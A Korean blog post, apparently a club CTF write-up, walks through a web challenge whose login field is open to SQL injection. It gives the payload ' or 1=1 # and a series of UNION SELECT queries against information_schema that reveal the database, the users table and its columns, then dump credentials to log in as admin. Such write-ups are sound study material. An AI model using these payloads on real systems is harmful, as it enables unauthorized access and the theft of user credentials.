먼저 문제에 대한 간략한 설명이다. information_schema를 이용해서 푸는 문제라고 들었기에 이를 중심으로 보았다.
로그인을 하고나서 게시판에 글을 쓸 수 있다. 게시판에는 xss 공격이 아주 잘 된다.
삽질을 하면서 신기한 것을 알아냈는데, 일단 id 중복체크를 하지 않는다. 동일한 아이디로 로그인이 된다.
그리고 addslashes 함수가 이용되었는지, id 앞에 \ 가 붙어서 처리된다.
그러나 회원가입을 하고 바로 로그인이 되는 루틴에서는 위와같은 처리가 되지만, 그냥 아이디 비밀번호를 치고 들어가면 addslashes 가 사라져있다. 유저도 다른 유저로 인식이 되어버린다.
일단 이를 이용해서 무엇인가 할 수 있을 것 같았다. 그래서 id를 ' or 1=1 # 으로 하고 로그인 해줬더니 누군가 xss 구문을 집어넣어놔서 이상한 페이지로 이동했다. 일단 작동한다는 것은 알아냈으니까 .
union select 문을 이용해서 colum 개수를 알아내보기로 했다. 글에서 보이는게 id, 내용, 제목, 작성일 이렇게 4개여서
이렇게 해줬는데, 아무것도 게시물이 뜨지 않아서 혹시 글에 primary key 로 id가 붙어있을지도 모른다고 생각해 5 까지 줘봤다.
역시 예상대로였다. 첫번째 column 은 게시글의 고유 key 였던 것 같다. 이제 db 이름을 먼저 알아내보자.
'union select 1, database(), 2,3,4 # 를 넣어주고 돌렸더니 db 이름은 webn 이라는 것을 알아냈다!
이제 테이블 이름을 찾기 위해서
' union select 1, table_name,2,3,4 from information_schema.tables where table_schema='webn' #
users 라는 테이블이 존재한다. 이제 저 테이블에서 컬럼명을 추출해준다.
' union select 1, column_name, 2,3,4 from information_schema.columns where table_name='users' #
일단 이렇게 결과가 나와서 id,login,password,role 만 가지고 와보기로 했다.
' union select 1, id, login, password, role from users #
맨위에 저렇게 비밀번호가 복잡한 애가 있는데, 딱봐도 저녀석이 admin 인듯하여 저걸로 로그인 해봤다.
'전공쪽 > 동아리 관련' 카테고리의 다른 글
sfctf winter write up (0) | 2021.01.26 |
---|---|
sfw8 write up (0) | 2021.01.11 |
xss challenges (0) | 2021.01.07 |
sfw6 up (0) | 2021.01.07 |
sfwebstudy 3,4 write up (0) | 2021.01.02 |